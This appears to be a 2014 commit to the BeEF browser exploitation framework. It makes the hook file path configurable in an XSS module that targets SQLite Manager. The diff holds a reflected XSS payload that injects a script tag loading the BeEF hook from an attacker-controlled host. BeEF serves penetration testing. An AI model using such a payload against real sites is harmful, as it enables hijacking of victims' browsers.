Change hard-coded 'hook.js' to 'beef.http.hook_file'

This commit is contained in:
bcoles
2014-01-04 11:33:58 +10:30
parent 6d449672ae
commit f97087c37a
6 changed files with 15 additions and 6 deletions

View File

@@ -9,7 +9,8 @@ class Sqlitemanager_xss < BeEF::Core::Command
configuration = BeEF::Core::Configuration.instance
proto = configuration.get("beef.http.https.enable") == true ? "https" : "http"
hook_uri = "#{proto}://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}/hook.js"
hook_file = configuration.get("beef.http.hook_file")
hook_uri = "#{proto}://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}#{hook_file}"
return [
{'name' => 'uri', 'ui_label' => 'Target URL', 'value' => 'http://127.0.0.1/sqlite/index.php?dbsel=1"><script src="'+hook_uri+'"></script><p+"'}